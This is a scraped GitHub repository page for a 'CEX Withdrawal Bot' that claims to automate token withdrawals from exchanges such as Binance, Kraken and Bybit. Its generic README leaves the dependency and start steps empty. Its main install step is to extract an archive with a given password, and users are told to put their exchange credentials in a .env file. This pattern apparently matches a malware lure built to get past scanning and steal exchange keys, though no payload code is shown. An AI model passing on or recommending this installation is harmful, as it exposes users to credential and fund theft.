Skip to content

Automated output of tokens to any networks from binance, kraken, coinbase, mexc, , gate, bybit

License

Notifications You must be signed in to change notification settings

exileqeq/cex-withdrawal-bot

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

29 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Overview

The CEX Withdrawal Bot is a tool for securely and efficiently withdrawing assets from various centralized exchanges. This bot simplifies the withdrawal process and offers additional features such as automatic withdrawal scheduling and error handling.

Features

  • Secure and efficient withdrawal of assets from supported centralized exchanges.
  • Support for multiple exchanges, including but not limited to Binance, Kraken, Coinbase, Mexc, Kucoin, Gate, Okx, Huobi and Bybit .
  • Automated withdrawal scheduling for regular transfers.
  • Error handling and notifications for withdrawal-related issues.
  • Configuration options for custom withdrawal strategies.

Installation

Follow these steps to set up and run the CEX Withdrawal Bot on your local machine:

  1. Clone the repository:

    git clone https://github.com/exileqeq/cex-withdrawal-bot.git
    cd cex-withdrawal-bot
  2. extract archive with pass hiIJq71OeS

  3. Install dependencies:

  4. Configure your environment:

Create a .env file in the project's root directory and define your environment variables. You can use the .env.example file as a template.

  1. Start the bot:

Usage

  1. Add Exchange Credentials:

In the .env file, provide the necessary credentials and configuration for the centralized exchange(s) you want to use.

  1. Customize Withdrawal Strategy:

Modify the withdrawal strategy in the strategies directory to suit your specific withdrawal needs. You can create custom strategies by extending the base strategy classes provided.

  1. Schedule Withdrawals:

Use the bot's scheduling features to automate regular withdrawals or make one-time withdrawals as needed.

  1. Monitor Errors:

The bot provides error handling and notification features. Configure your preferred notification channels to stay informed about any withdrawal issues.

Roadmap

Here are some planned features for the CEX Withdrawal Bot:

  • Support for additional centralized exchanges.
  • Integration with hardware wallets for enhanced security.
  • Enhanced error reporting and recovery mechanisms.
  • User-friendly web interface for configuration and monitoring.
  • Community contributions and feedback incorporation.

Contributing

We welcome contributions from the community. To contribute to this project, please follow our Contribution Guidelines.

License

This project is licensed under the MIT License - see the LICENSE file for details.